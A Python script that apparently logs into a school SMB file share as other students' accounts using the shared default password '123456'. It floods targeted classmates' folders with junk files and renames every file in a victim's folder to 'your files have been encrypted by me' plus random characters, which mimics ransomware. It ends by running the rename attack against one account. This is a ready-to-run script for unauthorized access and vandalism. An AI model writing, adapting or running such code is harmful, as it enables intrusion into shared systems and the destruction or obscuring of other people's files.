#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from smb.SMBConnection import SMBConnection
import string
import random


def place_file(num,local_path,remote_path):
    server_ip = "172.0.11.10"                         #共享目录主机IP地址
    username = f"G110_{num}"                             #本机用户名
    password = "123456"                            #本机密码
    my_name = "123456"                            #计算机属性中域名
    remote_name = "abc-infoserver"                 #远端共享文件夹计算机名
    conn = SMBConnection(username, password, my_name, remote_name, is_direct_tcp = True)    #is_direct_tcp=True,默认为当direct_tcp=True时，port需要445。当它是False时，端口应该是139
    assert conn.connect(server_ip, 445)
    sharelist = conn.listPath("students","/")

    with open(local_path, "rb") as local_file:
    # service_name 为共享文件夹名，remote_path 为共享目录下的相对路径
        conn.storeFile("students", f"Gao110/G110_{num}/{remote_path}", local_file)

def read_file(num,remote_path=""):
    server_ip = "172.0.11.10"                         #共享目录主机IP地址
    username = f"G110_{num}"                             #本机用户名
    password = "123456"                            #本机密码
    my_name = "123456"                            #计算机属性中域名
    remote_name = "abc-infoserver"                 #远端共享文件夹计算机名
    conn = SMBConnection(username, password, my_name, remote_name, is_direct_tcp = True)    #is_direct_tcp=True,默认为当direct_tcp=True时，port需要445。当它是False时，端口应该是139
    assert conn.connect(server_ip, 445)
    sharelist = conn.listPath("students",f"/Gao110/G110_{num}/{remote_path}")
    for i in sharelist:
        print (i.filename)

def x2file(num,remote_path=""):
    server_ip = "172.0.11.10"                         #共享目录主机IP地址
    username = f"G110_{num}"                             #本机用户名
    password = "123456"                            #本机密码
    my_name = "123456"                            #计算机属性中域名
    remote_name = "abc-infoserver"                 #远端共享文件夹计算机名
    conn = SMBConnection(username, password, my_name, remote_name, is_direct_tcp = True)    #is_direct_tcp=True,默认为当direct_tcp=True时，port需要445。当它是False时，端口应该是139
    assert conn.connect(server_ip, 445)
    sharelist = conn.listPath("students",f"/Gao110/G110_{num}/{remote_path}")
    for i in sharelist:
        conn.rename("students",f"/Gao110/G110_{num}/{remote_path}{i.filename}",f"/Gao110/G110_{num}/{remote_path}你的文件被我加密了_{''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20))}")


target = ["08","19","20","24"]
total = 100

# for ct in target:
#     for _ in range(total):
#         print(f"Target: {ct}, process: {_+1}/{total}")
#         place_file(ct,"./傻呆呆",f"这个文件就很有破坏性了_{''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20))}")

#     read_file(ct)

x2file("10")